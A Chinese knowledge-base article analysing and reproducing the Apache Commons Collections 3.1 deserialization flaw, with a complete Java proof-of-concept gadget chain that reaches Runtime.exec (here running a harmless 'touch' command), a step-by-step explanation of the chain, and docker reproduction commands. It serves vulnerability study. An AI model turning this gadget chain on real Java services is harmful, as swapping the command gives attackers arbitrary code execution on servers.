如何进行Apache Commons Collections反序列化漏洞分析与复现

1.1 状态

完成漏洞挖掘条件分析、漏洞复现

1.2 漏洞分析

存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。

POC核心代码:

package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);//        transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//        //触发漏洞//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();//        onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();//    }//}}}

漏洞利用思路:

Transformer接口-实现类-InvokerTransformer(),可调用任何函数。

为实现 Runtime.getRuntime().exec(cmd),要多次调用 transformer 并将当前返回结果作为下次输入信息。

为调用 Runtime.getRuntime(),考虑 ConstantTransformer 类,它可直接将输入的参数作为输出。

ChainedTransformer 作为实现类,对于接收的Transformer 数组,采用自身的transform方法(参数是用户输入的)逐次处理Transformer数组对象,将其结果作为下次重复调用的输入参数。它的 transform()方法即可出触发漏洞。

为寻找反序列化途径,即读进来数据被反序列化执行,则反向寻找可触发ChainedTransformer 对象 .transform() 方法的途径。

HashMap类可以键值对方式存储数据,put(key,value)方法可存储数据。

TransformedMap类的功能是存储键值对并将其转换为transform objects,decorate()方法可创建键值对组,checkSetValue()方法会触发this.valueTransformer.transform()语句。依次反向寻找调用 checkSetValue()【1】,使 this.valueTransformer 为 ChainedTransformer 对象的途径【2】。

对于【2】,TransformedMap 类的静态方法 decorate()可达到目标。

对于【1】,AbstractInputCheckedMapDecorator 类 MapEntry 静态类的setValue方法会执行this.parent.checkSetValue(value),则接下来应使this.parent为TransformedMap对象【3】。

对于【3】,正向分析POC中此段代码:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

研究可知,执行过程中多次在AbstractInputCheckedMapDecorator类中,将TransformedMap对象赋值给this.parent,返回Map.Entry对象,正好可以执行setValue()方法,触发漏洞。

为提升通用性,必须设法使得调用反序列化方法即触发漏洞,因此,考虑寻找类对象满足“重写反序列化readObject()且执行Map类对象变量的setValue(),同时此变量可被控制赋键值数据”。AnnotationInvocationHandler类满足此需求【它对Map类型的成员变量的每个条目均调用setValue()】。

Class.forName() 功能是加载类。

则再次分析,对于【1】,正向分析POC中核心代码:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();

研究可知,执行过程会执行 MapEntry 静态类的 setValue 方法,且会执行entrySet 方法使得 this.parent=TransformedMap 对象,从而触发漏洞。

总的来说,正向的POC构造思路为:先构造 ChainedTransformer 对象,随后创建 Map 对象,再采用 TransformedMap 类实例将 ChainedTransformer 对象保存至 Map 类对象中,再通过反射方法获得经 Map 类对象初始化的AnnotationInvocationHandler 类实例,对其进行序列化。

1.3 docker复现

下载制作的docker镜像,用以下命令:

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1

设置局域网及容器ip、启动容器,例子:

(1)自定义网络

docker network create --subnet=192.168.10.1/24 testnet

(2)启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

在容器【Apache-Commons-Collections】中,执行命令【java -jar commons-collections-3.1.jar】,则生成文件【CommonsCollections3.1】,如下图。

如何进行Apache Commons Collections反序列化漏洞分析与复现

关于如何进行Apache Commons Collections反序列化漏洞分析与复现问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。

文章标题:如何进行Apache Commons Collections反序列化漏洞分析与复现,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/24058

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云亿速云认证作者
上一篇 2022年9月8日 下午10:58
下一篇 2022年9月8日 下午10:58

相关推荐

  • SQL中的开窗函数是什么

    OVER的定义 OVER用于为行定义一个窗口,它对一组值进行操作,不需要使用GROUP BY子句对数据进行分组,能够在同一行中同时返回基础行的列和聚合列。 OVER的语法 OVER ( [ PARTITION BY column ] [ ORDER BY culumn ] ) PARTITION B…

    2022年9月2日
    41300
  • 打开cad时winds找不到文件如何解决

    解决方法: 1、右击当前dwg文件,点击“打开方式”选择“默认程序”。 2、打开方式窗口点击“浏览”。 3、点击浏览后看到程序安装目标,在目录选中acad.exe然后打开。 4、返回到打开方式点击“确定”即可。 “打开cad时winds找不到文件如何解决”的内容就介绍到这里了,感谢大家的阅读。如果想…

    2022年9月8日
    75600
  • 如何利用WinRAR漏洞针对中东地区的定向攻击活动分析

    背景 2019年3月17日,360威胁情报中心截获了一例疑似“黄金鼠”APT组织(APT-C-27)利用WinRAR漏洞(CVE-2018-20250[6])针对中东地区的定向攻击样本。该恶意ACE压缩包内包含一个以恐怖袭击事件为诱饵的Office Word文档,诱使受害者解压文件,当受害者在本地计…

    2022年9月21日
    18100
  • windows ventoy进不了引导如何解决

    ventoy进不了引导解决方法: 方法一: 1、首先,确保你在bios设置里将U盘设置为启动项了。 2、如果没有设置,那么重启电脑,进入bios的“boot”选项下进行设置。 方法二: 1、如果设置后还不行,那么可能是u盘问题。 2、可以尝试回到系统,右键u盘选择“格式化” 3、然后选择“NTFS格…

    2022年8月27日
    3.1K00
  • 怎样进行Apache的配置

    Apache的配置由httpd.conf文件配置,因此下面的配置指令都是在httpd.conf文件中修改。 主站点的配置(基本配置) (1) 基本配置: ServerRoot “/mnt/software/apache2” #你的apache软件安装的位置。其它指定的目录如果…

    2022年9月2日
    27700
  • mysql适合分表的情况有哪些

    mysql中适合分表的情况:1、数据量过大,正常运维影响业务访问时,例如对数据库进行备份需要大量的磁盘IO和网络IO、对一个表进行DDL修改会锁住全表、对大表进行访问与更新出现锁等待;2、随着业务发展,需要对某些字段垂直拆分;3、单表中的数据量快速增长,当性能接近瓶颈时,就需要考虑水平切分。 本教程…

    2022年9月20日
    23800
  • python标准库模块之json库怎么使用

    前言 json,全称为JavaScript Object Notation,也就是JavaScript对象标记,通过对象和数组的组合表示数据,虽然构造简洁但是结构化程度非常高,是一种轻量级的数据交换格式。 作用 主要用于将python对象编码为json格式输出或存储,以及将json格式对象解码为py…

    2022年9月21日
    43000
  • Thinkphp5.0对数据库的操作方法有哪些

    基本使用 查询操作 Db::query(‘select * from think_user where id=?’,[8]); 写入操作 Db::execute(‘insert into think_user (id, name) values (?, ?)’,[8,’thinkphp’]); 查询…

    2022年9月26日
    24800
  • JavaScript单线程和任务队列是什么

    本文章是对以往“JavaScript单线程和任务队列是什么”知识点的总结与梳理,不仅内容丰富、详细,而且知识点逻辑十分清晰。相信多数人读完本文后,会对“JavaScript单线程和任务队列是什么”的知识内容,有更为深入的理解和认识。 一、JavaScript为什么设计为单线程? JavaScript…

    2022年6月27日
    19700
  • Javascript如何使用数据填充数组

    用数据填充数组 如果我们需要用一些数据来填充数组,或者需要一个具有相同值的数据,我们可以用fill()方法。 var plants = new Array(8).fill(‘8’);console.log(plants); // [‘8’, ‘8’, ‘8’,’8′, ‘8’, ‘8’,’8′, ‘…

    2022年8月30日
    18500
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部